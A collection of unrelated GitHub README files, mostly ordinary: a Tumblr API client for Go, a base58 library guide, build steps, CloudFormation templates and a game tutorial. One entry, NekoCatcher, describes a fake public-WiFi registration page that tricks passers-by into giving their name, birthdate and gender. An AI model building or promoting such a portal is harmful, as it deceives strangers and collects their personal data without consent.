text:
[![GoDoc](https://godoc.org/github.com/MariaTerzieva/gotumblr?status.png)](https://godoc.org/github.com/MariaTerzieva/gotumblr)

Install gotumblr
----------------

In terminal write `go get github.com/MariaTerzieva/gotumblr`

Running the tests
-----------------

Run the tests with `go test` to check if everything is ok.

Using the package
-----------------

To use this package in your projects do this (after install):

`import "github.com/MariaTerzieva/gotumblr"`

You are going to need a consumer key, consumer secret, callback URL, token and token secret.
You can get the consumer key, consumer secret and callback URL by registering a Tumblr application.
You can do so by clicking [here](http://www.tumblr.com/oauth/apps).
The token and token secret you can get by using OAUTH.
If you want to use this package just for your own tumblr account, after registering the application,
click on the Explore API option and allow it access to your Tumblr account. You are going to see a tab "Show keys".
Click on it and you will get your token and token secret but if you want, you can also obtain them using OAUTH.

Examples
--------

First import the package in your project as shown above.

Then create NewTumblrRestClient with your credentials(consumer key, consumer secret, token, token secret and callback url):

		client := gotumblr.NewTumblrRestClient("consumer_key", "consumer_secret", "token", "token_secret", "callback_url", "http://api.tumblr.com")

Then use the client you just created to get the information you need. Here are some examples with what I got for my account:

		info := client.Info()
		fmt.Println(info.User.Name)
		//Output:
		//mgterzieva

		likes := client.Likes(map[string]string{})
		fmt.Println(likes.Liked_count)
		//Output:
		//63

		following := client.Following(map[string]string{})
		fmt.Println(following.Total_blogs)
		//Output:
		//1

		dashboard := client.Dashboard(map[string]string{"limit": "1"})
		if len(dashboard.Posts) != 0 {
			var base_dashboard_post gotumblr.BasePost
			for i, _ := range dashboard.Posts {
				json.Unmarshal(dashboard.Posts[i], &base_dashboard_post)
				fmt.Println(base_dashboard_post.State)
				//Output:
				//published
			}
		}

		tagged := client.Tagged("golang", map[string]string{"limit": "1"})
		if len(tagged) != 0 {
			var base_tagged_post gotumblr.BasePost
			for i, _ := range tagged {
				json.Unmarshal(tagged[i], &base_tagged_post)
				fmt.Println(base_tagged_post.State)
				//Output:
				//published
			}
		}

		blogname := "mgterzieva.tumblr.com" //this is my blogname. Change this according to your usecase and credentials.
		blogInfo := client.BlogInfo(blogname)
		fmt.Println(blogInfo.Blog.Title)
		//Output:
		//Maria's blog

		followers := client.Followers(blogname, map[string]string{})
		fmt.Println(followers.Total_users)
		//Output:
		//0

		blog_likes := client.BlogLikes(blogname, map[string]string{})
		fmt.Println(blog_likes.Liked_count)
		//Output:
		//63

		queue := client.Queue(blogname, map[string]string{})
		fmt.Println(len(queue.Posts))
		//Output:
		//0

		drafts := client.Drafts(blogname, map[string]string{})
		fmt.Println(len(drafts.Posts))
		//Output:
		//6

		submission := client.Submission(blogname, map[string]string{})
		fmt.Println(len(submission.Posts))
		//Output:
		//0

		avatar := client.Avatar(blogname, 64)
		fmt.Println(avatar.Avatar_url)
		//Output:
		//http://25.media.tumblr.com/avatar_49f49d0b9209_64.png

		other_blogname := "http://thehungergamesmovie.tumblr.com"
		follow := client.Follow(other_blogname)
		fmt.Println(follow)
		//Output:
		//<nil>

		unfollow := client.Unfollow(other_blogname)
		fmt.Println(unfollow)
		//Output:
		//<nil>

		id := "72078164824" //this is the id of a post of mine. Change this according to your usecase.
		//There is an Id field in all of the post object types in this library.
		reblogKey := "6l3e2pGL" //this is the reblogKey of a post of mine. Change this according to your usecase.
		//There is a Reblog_key field in all of the post object types in this library.
		like := client.Like(id, reblogKey)
		fmt.Println(like)
		//Output:
		//<nil>

		unlike := client.Unlike(id, reblogKey)
		fmt.Println(unlike)
		//Output:
		//<nil>

		reblog := client.Reblog(blogname, map[string]string{"id": id, "reblog_key": reblogKey})
		fmt.Println(reblog)
		//Output:
		//<nil>

		state := "draft"
		textPost := client.CreateText(blogname, map[string]string{"body": "Hello happy world!", "state": state})
		fmt.Println(textPost)
		//Output:
		//<nil>

		quote := "A happy heart makes the face cheerful."
		source := "Proverbs 15:13"
		quotePost := client.CreateQuote(blogname, map[string]string{"quote": quote, "source": source, "state": state})
		fmt.Println(quotePost)
		//Output:
		//<nil>

		title := "Follow me on tumblr, guys! :)"
		url := "http://mgterzieva.tumblr.com"
		linkPost := client.CreateLink(blogname, map[string]string{"url": url, "title": title, "state": state})
		fmt.Println(linkPost)
		//Output:
		//<nil>

		conversation := "John Doe: Hi there!\nJane Doe: Hi, John!\nJane Doe: ♥♥♥"
		//separate the tags with commas and don't leave whitespaces around the commas
		tags := "Saint Valentine's day,14th of February,lots of love,xoxo"
		chatPost := client.CreateChatPost(blogname, map[string]string{"conversation": conversation, "tags": tags, "state": state})
		fmt.Println(chatPost)
		//Output:
		//<nil>

		text := "Hello happy world!" //if you are editing a text post
		editPost := client.EditPost(blogname, map[string]string{"id": id, "body": text})
		fmt.Println(editPost)
		//Output:
		//<nil>

		deletePost := client.DeletePost(blogname, id)
		fmt.Println(deletePost)
		//Output:
		//<nil>

		code := `<iframe width="560" height="315" src="//www.youtube.com/embed/uJNvZRAmeqY" frameborder="0" allowfullscreen></iframe>`
		caption := "<b>Mother knows best</b>"
		embedVideo := client.CreateVideo(blogname, map[string]string{"embed": code, "state": state, "caption": caption})
		fmt.Println(embedVideo)
		//Output:
		//<nil>

		song := "https://soundcloud.com/tiffany-alvord-song/the-one-that-got-away-cover-by"
		songPostByURL := client.CreateAudio(blogname, map[string]string{"external_url": song, "state": state})
		fmt.Println(songPostByURL)
		//Output:
		//<nil>

		picture := "http://thumbs.dreamstime.com/z/cute-panda-17976617.jpg"
		photoPostByURL := client.CreatePhoto(blogname, map[string]string{"source": picture, "state": state})
		fmt.Println(photoPostByURL)
		//Output:
		//<nil>

Further information
-------------------

If you still don't get how to work with this package don't worry! :)
Read the [project documentation](https://godoc.org/github.com/MariaTerzieva/gotumblr) or
the [Tumblr API](http://www.tumblr.com/docs/en/api/v2) or
write an e-mail at<EMAIL_ADDRESS>if these don't help. :)

Contribution
------------
In case you find any issues with this code, use the project's Issues page to report them or send pull requests.

License
-------

Copyright 2014 Maria Terzieva

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

   http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

repository: MariaTerzieva/gotumblr

repo_name: MariaTerzieva/gotumblr


text:
#schema
Schema contains versioned copies of all schema modifications within the database. By default, these are
written for PostgreSQL. Each version is named to follow a sequential process, allowing for rolling
upgrades and rebuilds without having conflicts and issues with dependencies within the data.

##naming
Each file contains a versioned copy of any modifications, the version is the first part of the name.
Following on from that, is an arbitrary string that is more as a tl;dr of the content.
```
v[version_number]_[arbitrary_string].sql
```

repository: cloudcloud/nottify

branch_name: refs/heads/master

extension: md

gha_language: Go

license_type: permissive

repo_name: cloudcloud/nottify


text:
Also i've found readable C version of this stuff:
https://github.com/breadwallet/breadwallet-core/blob/master/BRBase58.c

Initialisation
--------------

Before you can use libbase58 for base58check, you must provide a SHA256
function. The required function signature is:
	bool my_sha256(void *digest, const void *data, size_t datasz)
Simply assign your function to b58_sha256_impl:
	b58_sha256_impl = my_sha256;

This is only required if base58check is used. Raw base58 does not need SHA256.

Decoding Base58
---------------

Simply allocate a buffer to store the binary data in, and set a variable with
the buffer size, and call the b58tobin function:
	bool b58tobin(void *bin, size_t *binsz, const char *b58, size_t b58sz)
note that a true zero-length base58 string is not supported here.

Validating Base58Check
----------------------

After calling b58tobin, you can validate base58check data using the b58check
function:
	int b58check(const void *bin, size_t binsz, const char *b58, size_t b58sz)
Call it with the same buffers used for b58tobin. If the return value is
negative, an error occurred. Otherwise, the return value is the base58check
"version" byte from the decoded data.

Encoding Base58
---------------

Allocate a string to store the base58 content, create a size_t variable with the
size of that allocation, and call:
	bool b58enc(char *b58, size_t *b58sz, const void *data, size_t binsz)
Note that you must pass a pointer to the string size variable, not the size
itself. When b58enc returns, the variable will be modified to contain the actual
number of bytes used (including the null terminator). If encoding fails for any
reason, or if the string buffer is not large enough for the result, b58enc will
return false. Otherwise, it returns true to indicate success.

Encoding Base58Check
--------------------

Targeting base58check is done similarly to raw base58 encoding, but you must
also provide a version byte:
	bool b58check_enc(char *b58c, size_t *b58c_sz, uint8_t ver,
	                  const void *data, size_t datasz)

### it's visual C++ version
it's not for stand-alone build.

linux test:
```
c++ tb.cpp base58_c.cpp -o c
./c
```
sample code:
```c++
char *t=new char[1000];
size_t c=1000;
const unsigned char b[]="uiyiuiuyijiojijjio";
/* last byte is '\0' coz of b[] dealt with by compiler.
(size_t)sizeof(b) - 1 as last arg removes it from source binary block. If string related stuff is not used with b there is no '\0' .I mean
 unsigned char z[] = { 0xff, 0xff, 0xff, 0xff };
.*/
b58enc(t,&c,(const void *)b,(size_t)sizeof(b));
```
b:
```
7569796975697579696a696f6a696a6a696f00
```
t:
```
NVhHMCyXNHYRYg5mXw2nSnkLBh
```

license: MIT


text:
All contributions are welcome but follow the rules and guidelines.

-Back-end Rules and Guidelines- (11/6/2019)

*****Table*****
Rules = (1 - n)
Guidelines = "-"
***************

1. Standalone back-end functions must run without external dependencies.
2. Keep the code simple but not too simple. (Line count recommendations are excluding comments)
      -Method line counts
          (1-3) possibly too small
          (4-15) ideal
          (16-29) less ideal
          (30+) refactor
      -Class line counts
          (1-149) ideal
          (150-199) less ideal
          (200+) refactor
3. Variable names must be descriptive.
      -camelCase is preferred

-Front-end Rules and Guidelines- (11/6/2019)
All contributions, recommendations and rule/guideline suggestions are welcome.
This area needs the most revision as of right now.

repository: sellc/ImageLabeler

repo_name: sellc/ImageLabeler


text:
# Bilibili_Anime4K
Bring Anime4K filter to all the 2D anime you love on [Bilibili](https://www.bilibili.com/)!

[[中文README]](README_zh.md)

# Usage
Load and enable Bilibili_Anime4K.js in your TamperMonkey. Chrome 77 tested. Note that this should only be enabled on 2D anime since the filter just isn't fit for other type of videos.

If you want to disable filter for some video just disable the script in your TamperMonekey (since I haven't made a control panel yet... PRs are welcome).

# Comparison on 360p
![Comparison](images/Comparison.png?raw=true)

Actually it is just a filter, not a super-resolution algorithm, so don't have a super high expectaion on super-low resolution like 360p. However, if you are running 720p or higher it actually would have a better viewer experience with sharper lines and colors (and of course, lagging your computer).

FYI, I've uploaded the original screenshot of both in the "images" folder.

# TODO
- Add controls of the filter.
- Update WebGL implementation to GLSL implementation RC 1.0.
- Fix video cannot be found in animes that need VIP. (Actually I don't think this is needed since you can always enable 1080p+ if you are VIP, and other kids like me who has no VIP cannot watch these animes, haha.)
- Support more sites (like ACFun, whatever).

# Issues
- It seems that we can't find video tag when the anime need VIP, but don't worry, it will fallback automatically.
- It would be dramatically slow if you set scale to 2.0 while watching 1080p resolution on laptops.

# Acknowledgements
This repository contains code from [Anime4K](https://github.com/bloc97/Anime4K) by [bloc97](https://github.com/bloc97).

2019, net2cn, made with ♥ of anime.

gha_license_id: MIT


text:
# CTools Project Migration

## Tool Description:

This project servers as a standalone tool that helps CTools user to transfer CTools project site contents (Resources files, Email Archive messages, etc.) to outside environments
(Box, Google, local disk, etc). Here is a brief description of the migration workflow:

* Upon login, the user will be presented with a list of CTools project sites where he has Owner role, and tools (Resources, Email Archive, et) within those sites;
* User picks the tool(s) he want to migrate, choose the migration destination,  and start the migrate process
* The migration record is recorded in the tool database, with information of related CTools project site, tools to migrate, destination, start and end time;
* The tool UI shows the migration status based on the migration records in database.

## Technologies used:

### Server side:

Spring Boot (https://github.com/spring-projects/spring-boot) makes it easy to create Spring-powered, production-grade applications and services with minimum efforts.

* Spring JPA provides access to data repository
* Spring actuator adds several production grade services for server monitoring
* Spring web provides RESTful web service

### UI: AngularJS

## Configuration Settings

* copy config/application_template.properties to application.properties;
* update the configuration varibles with local settings;

## database connection

* The Spring Framework provides extensive support for working with various SQL databases. Choose desired SQL database for data storage;
* Put corresponding JDBC dependency into pom.xml file. For example, use mysql-connector-java for MySQL connection
* Example MySQL scripts are provided in config/schema_mysql.sql. Run the script to create database and migration table inside.
* Put database connection information into config/application.properties

## Run the code with Tomcat 7 embedded:
* run 'mvn spring-boot:run'. This will compile the code and start embedded tomcat server.
* http://localhost:8080/health returns server status
* http://localhost:8080/?testUser=<uniqname> is the landing page of the project migration tool and enable `allow.testUser.urlOverride = true` in application.properties
TALK ABOUT mvn clean
TALK ABOUT setting port explicitly

## Deploy as war file:
* run 'mvn package' to generate ctools-project-migration-VERSION.war file, in /target folder
* rename the war file as ctools-project-migration.war and copy into tomcat/webapps folder
* access the tool via https://SERVER:PORT/ctools-project-migration/
* The server port can be changed by specifying a port explicitly in
  application.properties.  E.g. server.port = 8090

## Testing with JMeter
* JMeter scripts are included, which can be run from either JMeter UI or from maven
* "mvn clean verify" will run the JMeter script for default profile, according to settings in pom.xml
* Allow people from certain MCommunity Group specify end user id in the tool URL. Please refer to application_template.properties file for the configuration settings.

## JUnit Test
* By Default the Junit test are skipped when issue `mvn package` command inorder to run the build including Junit test do `mvn package -DskipTests=false`

## Unit Testing Email Archive Messages
 Testing each Email message is returned as RFC822 format for Email Archive migration to the Google Groups.
     The `EmailFormatter.java`class takes a single email message in the string json format.
     The EmailFormatter class can give various email formats like rfc822 complaint format, Mbox format etc. For RFC822 email
     format generation takes all the headers provided by ctools and pruning headers that contains `content-type`. For email attachments,
     ctools is providing attachment link instead of Base64 encoded string. So we are extracting the content from the attachment
     and encode the content to base64. We are actually getting the base64 encoding using java mail service. We using the java
     mail service for generating the email text and appending the existing header from ctools with email text from
     mail services. The pruning of email headers from ctools containing `content-type` is done as these headers are created
     when generating the email text from  mail service so if having then they will be like duplicate headers and email messages
     will not be imported to Google groups.

* under `/src/test/java` add the values for ctools url/password/username so could access the email messages from the Ctools.
* Sample Email messages are added under `/src/test/java` as `message.json` or `message_1.json` used for the junit testing.
  For more example of email message go to https://ctqa.dsc.umich.edu/direct/mailarchive/describe and access the message
* `EmailFormatterTest.java` has various test associated so that a valid RFC822 email message is returned. Simlarly
   `AttachmentHandlerTest.java` has test related to email attachment content.

gha_language: Java

gha_license_id: NOASSERTION


text:
# many_models
Fitting many models in R using purrr, broom & dplyr

Demonstration is here: [https://github.com/egouldo/many_models/blob/master/many_models.md](https://github.com/egouldo/many_models/blob/master/many_models.md)


text:
# NekoCatcher
[![License: MIT](https://img.shields.io/badge/License-MIT-green.svg)](https://opensource.org/licenses/MIT)

TL;DR: NekoCatcher helps you to find your soulmate ;-).

## Neko what?
Have you ever thought about how bad these dating apps are? You use your GPS,
put a picture, a description and expect someone to be interested in you...
don't get me wrong the idea is great, but we have a problem: range

By range I do not mean GPS location .. but the amount of people you can reach
with the app since the first requirement of all is: have the app.

For dozens of reasons your ideal girlfriend may not use this app, either because she
does not believe it works, have an old cell phone, have already deleted the app,
etc... whatever the reason, having the app is the key piece.

## So what it does?

To put it simple: NekoCatcher uses the ESP8266 (any model) to create an WiFi Hotspot
that simulates a register page from a public WiFi, like Airport, Shopping, FastFood...
does. This page asks the user for 3 things: name, birtdate and gender. If male, the
server redirects to a fake error page, if female we redirect to a 'proposal' page.

This 'proposal' page is meant to describe you, your qualities and ultimately present
some form of contact to get to you. It's up to you to change the page and leave it the
way you want.

In addition, a special link with authentication is available (/dumpnekos) as a way for
you to check how many and which people have filled out the form, although this does not
mean that these people will contact you. You also can download the current list as a
.csv file and clean the list from the ESP memory.

## Project + in action

NekoCatcher was made using Arduino IDE in ESP8266 NodeMCU v3 but is expected to work
in any version. All the html pages was minified through the [HTML Minifier](http://kangax.github.io/html-minifier/)
project and are stored directly in the source code as a giant constant string. The
index page was also gzipped (through the gzip command) to decreases the overhead
of redirecting everything to there.

Please note that WiFi is open and therefore has no security enabled, nor does the
webserver have http(s) enabled. I chose this to 'relieve' the ESP and not overload
it too much.

	NekoCatcher in action

## Disclaimer

This project is intended to be useful but without any guarantee or fitness for particular purposes,
I do not take any responsibility for damages and outcomes that can arise due the usage of this
project.

This is more like a toy project than a serious application but if you get someone with it, please,
tell me, I would be very glad to be a cupid of a couple, ;-).

----
Last, but not least, I'm really looking for a GF... so if anyone has an interest... :D

repository: Theldus/NekoCatcher

repo_name: Theldus/NekoCatcher


text:
This is a README FILE for SoftBoundCETS pointer-based checking. For
more technical details and algorithms, visit SoftBoundCETS website at
http://www.cs.rutgers.edu/~santosh.nagarakatte/softbound/

Using SoftBoundCETS with LLVM+CLANG-3.4 on a x86-64 machine with Linux OS
=========================================================================

1. Download the github repository from http://www.github.com/santoshn/softboundcets-34

2. Build SoftBoundCETS for LLVM+3.4

   1. Goto to directory softboundcets-llvm-clang34 by executing the following command

            cd softboundcets-llvm-clang34

   2. Configure LLVM, clang and softboundcets with the following command

            ./configure --enable-assertions --disable-optimized

      If you prefer a faster compiler and do not need to debug SoftBoundCETS,
      use `--enable-optimized`.

      If you want to use SoftBoundCETS with LTO, follow the instructions at
      http://llvm.org/docs/GoldPlugin.html and add the
      `--with-binutils-include=/usr/include` parameter. Replace `/usr/include` by
      the folder that contains the `plugin-api.h` file.

   3. Build softboundcets, LLVM, clang with the following command

            make -j8

3. Set up your environment to use SoftBoundCETS

   For example in bash, it would be

         export PATH=<git_repo>/softboundcets-llvm-clang34/Debug+Asserts/bin:$PATH

   If you compiled an optimized build, the path is `Release+Asserts` instead of
   `Debug+Asserts`.

4. Compile the SoftBoundCETS runtime library

         cd <git_repo>
         cd softboundcets-lib
         make

   If you compiled the LLVM gold plugin, add the line below before calling
   make, in order to also build the SoftBoundCETS runtime library with LTO
   support.

         export LLVM_GOLD=<git_repo>/softboundcets-llvm-clang34/Debug+Asserts/lib/LLVMgold.so

5. Test whether it all worked

   1. Compile

            cd tests
            clang -fsoftboundcets test.c -o test -L<git_repo>/softboundcets-lib -lm
            clang -fsoftboundcets -flto test.c -o test-lto -L<git_repo>/softboundcets-lib/lto -lm

   2. Run the test program

            ./test

      Enter 10; the program executes successfully.

      Enter 105; a memory safety violation is triggered.


text:
# AWS CloudFormation Templates
----

We are providing a set of sample [AWS CloudFormation](https://aws.amazon.com/cloudformation/) templates that can be used as a basis for building your own templates for deploying Tableau Server to Amazon Web Services (AWS).

* **[public-sample-single-server.cfn:](#SimpleSingleNode)** A very basic template used to set up a simple single-node Tableau Server.
* **[public-ssl-single-server.cfn:](#SecureSingleNode)** A simple template used to set up a simple single-node Tableau Server that uses SSL for protected communication with clients.
* **[public-ssl-cluster-server.cfn:](#SecureClusterNode)** A template used to set up a simple three-node Tableau Server cluster that uses SSL for protected communication with clients.

To improve the security of your Tableau Server installation, Tableau recommends the use of SSL for protected communication with clients. Note that all examples that use SSL assume the use of AWS Certificate Manager and Amazon Route53.

* You must have an [Amazon Elastic Compute Cloud (Amazon EC2) key pair](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html).
* You must create a named [Amazon S3](https://aws.amazon.com/s3/) bucket containing the following items:
	* A copy of [ScriptedInstaller.py](../ScriptedInstaller.py)
	* A copy of the Tableau Server installer (v10.1 or higher)
	* A copy of the Tableau Server worker installer (v10.1 or higher) *(Required for distributed installations-only)*
* *(Optional)* A domain managed by [Amazon Route53](https://aws.amazon.com/route53/). *(Required for the SSL examples)*
* *(Optional)* An SSL certificate managed by [AWS Certificate Manager](https://aws.amazon.com/certificate-manager/) in the region in which you are deploying *(Required for the SSL examples)*

### General Troubleshooting

To aid in troubleshooting, we suggest disabling automatic rollback of the AWS CloudFormation stack. This allows examination of any log files left in place on the Tableau Server instance(s) ; rolling back destroys these instances, which means the log files are lost.

## public-sample-single-server.cfn

This is a simple AWS CloudFormation Template for automating the deployment of Tableau Server to AWS.  This AWS CloudFormation template will deploy a default single-node instance using local authentication and default configurations.  The template allows for minimal customization of the Gateway port and process counts on the server.

**Time to Deploy:** Approximately 30 minutes.

### Usage

1. On the AWS Management Console go to CloudFormation > Create Stack.
2. Select the template file (public-sample-single-server.cfn) > Click Next.
3. Provide a "Stack name" and fill out the rest of the parameters including License, Registration, and Admin account information for your Tableau Server installation.
4. Continue through the rest of the screens and Accept the IAM warning and click Submit.
5. Once the status has changed to CREATE_COMPLETE. Click on the Outputs tab and copy the PublicDNSName and/or PublicIpAddress.
6. Verify that you can connect to Tableau Server by navigating to the PublicDNSName/PublicIpAddress and logging in with the admin account that you specified.

### Known Issues/Troubleshooting Steps

None as of this writing.

## public-sample-ssl-single-server.cfn

This is an AWS CloudFormation Template for automating the deployment of a single-node instance of Tableau Server to AWS configured with external SSL. This template will deploy a default single-node instance using local authentication and default configurations.  The template allows for minimal customization of the Gateway port and process counts on the server.  In addition, the server will be reachable via an encrypted connection, using the SSL certificate

The use of this template assumes the user users Route53 for managing their DNS, and the user has an SSL certificate managed by AWS Certificate Manager.

**Time to Deploy:** Approximately 35 minutes.

### Usage

1. On the AWS Management Console go to CloudFormation > Create Stack.
2. Select the template file (public-sample-ssl-single-server.cfn) > Click Next.
3. Provide a "Stack name"
4. Provide the ARN (Amazon Resource Name) for the SSL certificate you wish to use. (See AWS Certificate Manager in the AWS Management Console.)
5. Provide the fully qualified host name (FQHN) for your new server; this MUST match the name in the SSL certificate you are using!
6. Provide the hosted zone id (in Route53) in which you'd like to create the server. You'll be provided a list of potential zones; remember to pick one that works with the SSL cert and FQHN you're using.
7. Fill out the rest of the parameters including License, Registration, and Admin account information for your Tableau Server installation.
8. Continue through the rest of the screens and Accept the IAM warning and click Submit.
9. Once the status has changed to CREATE_COMPLETE. Click on the Outputs tab and copy the SSLDNSName (used to connect to the Tableau Server web interface) and InstanceDNSName (used to Remote Desktop to the Windows instance)
10. Verify that you can connect to Tableau Server by navigating to the SSLDNSName and logging in with the admin account that you specified.

### Known Issues/Troubleshooting Steps

None as of this writing.

## public-sample-ssl-cluster.cfn

This is a sample AWS CloudFormation Template for automating the deployment of a Tableau Server cluster to AWS.  This AWS CloudFormation template will deploy a relatively simple three-node cluster using local authentication and default configurations into a private subnet, with an additional bastion host usable to access the three server nodes. The server web interface will be reachable via an encrypted connection, using the SSL certificate attached to a load balancer.

The AWS CloudFormation template generates the config file used to specificy the number of various processes running on the various cluster members; these settings can be tweaked by editing the AWS CloudFormation template to change the values or by adding parameters used as input to the script. (See [public-sample-single-server.cfn](#SimpleSingleNode) as an example.)

The use of this template assumes the user has Route53 managing their DNS, and the user has an SSL certificate being managed by AWS Certificate Manager.

**Time to Deploy:** Approximately 50 minutes.

### Usage

1. On the AWS Management Console go to CloudFormation > Create Stack.
2. Select the template file (public-sample-ssl-cluster.cfn) > Click Next.
3. Provide a "Stack name"
4. Provide the ARN to the SSL certificate you wish to use (see AWS Certificate Manager in the AWS Management Console)
5. Provide the fully qualified host name for your new server; this MUST match the name in the SSL certificate you are using!
6. Provide the hosted zone id (in Route53) in which you'd like to create the server. You'll be provided a list of potential zones; remember to pick one that works with the SSL cert and FQHN you're using.
7. Fill out the rest of the parameters including License, Registration, and Admin account information for your Tableau Server installation.
8. Continue through the rest of the screens and Accept the IAM warning and click Submit.
9. Once the status has changed to CREATE_COMPLETE. Click on the Outputs tab and copy the SSLDNSName (used to connect to the Tableau Server web interface) and BastionDNSName(used to Remote Desktop to the Windows bastion host; from there, you can RDP into the Tableau Server instances).
10. Verify that you can connect to Tableau Server by navigating to the SSLDNSName and logging in with the admin account that you specified.

### Known Issues/Troubleshooting Steps

Occasionally, instance-to-instance networking speed may be slow during setup; this could cause timeouts to trigger an abort scenario. One can workaround this problem by increasing the timeout specified for the TableauPrimaryWaitCondition resource in the AWS CloudFormation template.


text:
#Thirsty Zombie

Our zombie likes sprite and hates code. This game throws soda can sprites at the zombie where the zombie must consume (destroy) them. If the zombie consumes a "coke" sprite, it will explode and end the game. If the zombie misses too many "sprite" sprites, it will die from dehydration.  The zombie is rewarded one point for every "sprite" consumed.

**Game Algorithm**:

- create a game canvas with a width of 30 and height of 20 grid cells
- use `callback(function, time)` throw the cans
- pick a random probability for throwing a "coke"
- reward the zombie `1` point for every sprite consumed
- destroy the zombie, if
    - the zombie consumes a coke
    - the score falls below zero
- use random speeds and callback times to throw more or less cans
- use effects to make the game fun
- reset the game if the `r` key is pressed

## Prerequisites
You'll need to have the Predigame platform installed, a trusty text editor handy, and the command prompt (or terminal) open to complete this tutorial. Visit [http://predigame.io](http://predigame.io) for installation instructions.

## Getting Started
To get things started, we're going download an existing Predigame game that has a few actors we can use to experiment with animations (you'll need an Internet connection to complete the download). This can be done by typing the following the command in the terminal:

```
pred pull thirsty
```

Then change into the `thirsty` directory.

```
cd thirsty
```
Now in the text editor, find and open the file `thirsty/game.py`.

## Getting Started
Here's the first few lines:
```python
WIDTH = 30
HEIGHT = 20
TITLE = 'Thirsty Zombie'

# load in the stormy background
BACKGROUND = 'stormy'
```
This will build a window of 30x20 grid cells and add a "stormy" background image. *Make sure this image is saved in the `backgrounds/` directory*.

## Zombie Creation

```python
# create a zombie sprite. flip the sprite so the zombie faces to the right
zombie = image('zombie-2', (5, 15), size = 3).speed(10).flip()

# tell the zombie to follow the mouse movement
zombie.follow()
```
We use the `.flip()` function to have the zombie face towards right right side of the screen.

Here's how to throw a sprite object:
```python
def throw():
    # pick a random position and select the y coordinate
    y_pos = rand_pos()[1]

    # create a soda and move it from right to left
    target = 'sprite'
    if randint(1, 5) == 4:
        target = 'coke'
    s = image(target, (WIDTH+5, y_pos)).speed(2).collides(zombie, consume)
    s.move_to((-1, y_pos), callback = lambda: miss(s))

    # a callback to call the throw() function again
    callback(throw, rand(0.5, 2))
```
## Callback Functions

Before we draw the code for a beverage, we need to define the logic that describes consumption. Remember, this is because python requires us to define our callback functions before we use them.

```python
# zombie consumes a drink and explodes if it's a coke
def consume(target, zombie):
    # destroy the can
    target.destroy()

    if target.name == 'coke':
        # zombies don't like coke. end the game
        zombie.destroy()
        image('kaboom', center=(15, 10), size=25)
        gameover()
    else:
        # we added a sprite. increase score
        score(1)
```
If we don't consume a beverage, the zombie will need to suffer a little bit. Our second callback describes the "misses":

```python
# zombie misses the opportunity to take a drink and is thirsty.
def miss(target):

    # destroy the can
    target.destroy()

    # subtract a point if this was a sprite
    if target.name == 'sprite':
        score(-1)

    # we lost
    if score() < 0:
        text("TOTAL DEHYDRATION")
        zombie.rotate(90).pulse(time=2, size=2)
        gameover()
```
## Throwing Soda

Throwing cans of soda is also a callback function, but controlled via time. A key to throwing is to mix up the positions a bit. The line of code `y_pos = rand_pos()[1]` is a shorthanded way of randomly picking a y (top/bottom) position. Read through the rest of the code below, we added some documentation to clarify each of the lines.

```python
# this is a callback that throws a sprite or coke across the screen
def throw_soda():

    # pick a random position and select the y coordinate
    y_pos = rand_pos()[1]

    # create a soda and move it from right to left
    target = 'sprite'

    # roughly 50% of the cans are cokes
    if randint(1, 2) == 2:
        target = 'coke'

    # position the sprite off the right side of the screen
    # make it move fast (speed 10)
    # if the zombie hits the can, execute the "consume" callback
    s = image(target, (WIDTH+5, y_pos)).speed(10).collides(zombie, consume)

    # move the sprite to the left. execute callback "miss" if movement finishes
    s.move_to((-1, y_pos), callback = lambda: miss(s))

    # a callback to call the throw() function again
    callback(throw_soda, rand(0, 1.5))

# schedule the throw callback to run
callback(throw_soda, 1)
```
## Final Bits

The final parts of the game enable score keeping and resetting the game if the 'r' key is pressed.

```python
# add this so we can keep score of the game
score(color=WHITE)

# press the r key to reset
keydown('r', reset)
```

## Complete Code

Below is the complete code for "thirsty zombie".  We added an easter egg if the 'b' button is pressed - launch of soccer balls; it's an added obstacle that the zombie will need to avoid.

```python
WIDTH = 30
HEIGHT = 20
TITLE = 'Thirsty Zombie'

# load in the stormy background
BACKGROUND = 'stormy'

# create a zombie sprite. flip the sprite so the zombie faces to the right
zombie = image('zombie-2', (5, 15), size = 3).speed(10).flip()

# tell the zombie to follow the mouse movement
zombie.follow()

# keep track if the zombie is spinning
spinning = False

# zombie consumes a drink and explodes if it's a coke
def consume(target, zombie):

    # a spinning zombie cannot consume things
    if spinning:
        return

    # destroy the can
    target.destroy()

    if target.name == 'coke':
        # zombies don't like coke. end the game
        zombie.destroy()
        image('kaboom', center=(15, 10), size=25)
        gameover()
    else:
        # we added a sprite. increase score
        score(1)

# zombie misses the opportunity to take a drink and is thirsty.
def miss(target):

    # destroy the can
    target.destroy()

    # subtract a point if this was a sprite
    if target.name == 'sprite':
        score(-1)

    # we lost
    if score() < 0:
        text("TOTAL DEHYDRATION")
        zombie.rotate(90).pulse(time=2, size=2)
        gameover()

# this is a callback that throws a sprite or coke across the screen
def throw_soda():

    # pick a random position and select the y coordinate
    y_pos = rand_pos()[1]

    # create a soda and move it from right to left
    target = 'sprite'

    # roughly 50% of the cans are cokes
    if randint(1, 2) == 2:
        target = 'coke'

    # position the sprite off the right side of the screen
    # make it move fast (speed 10)
    # if the zombie hits the can, execute the "consume" callback
    s = image(target, (WIDTH+5, y_pos)).speed(10).collides(zombie, consume)

    # move the sprite to the left. execute callback "miss" if movement finishes
    s.move_to((-1, y_pos), callback = lambda: miss(s))

    # a callback to call the throw() function again
    callback(throw_soda, rand(0, 1.5))

# schedule the throw callback to run
callback(throw_soda, 1)

# this is a callback when the zombie is done spinning
def done_spinning():

    # the "global" variable is set to False (since we are done spinning)
    global spinning
    spinning = False

# this is a callback when the zombie is hit by a ball
def spinner(b, z):

    # the "global" variable is set to True (since we are spinning)
    global spinning
    spinning = True

    # destroy the ball
    b.destroy()

    # spin the zombie.. time probably can't go much smaller than 0.5
    # execute callback done_spinning after completing two rotations
    z.spin(time=0.5, rotations=2, callback=done_spinning)

# this is a callback function to launch the ball
def launch():

    # create a ball and position off the right side of the screen
    random_y_position = rand_pos()[1]

    # position balls off the screen, make them spin and move a little fast
    ball = image('ball', (WIDTH+5, random_y_position), size=2).spin(0.2).speed(5)

    # move right to left, destroy if movement completes
    ball.move_to((-5, random_y_position), callback=ball.destroy)

    # make the zombie spin if hit by a ball
    ball.collides(zombie, spinner)

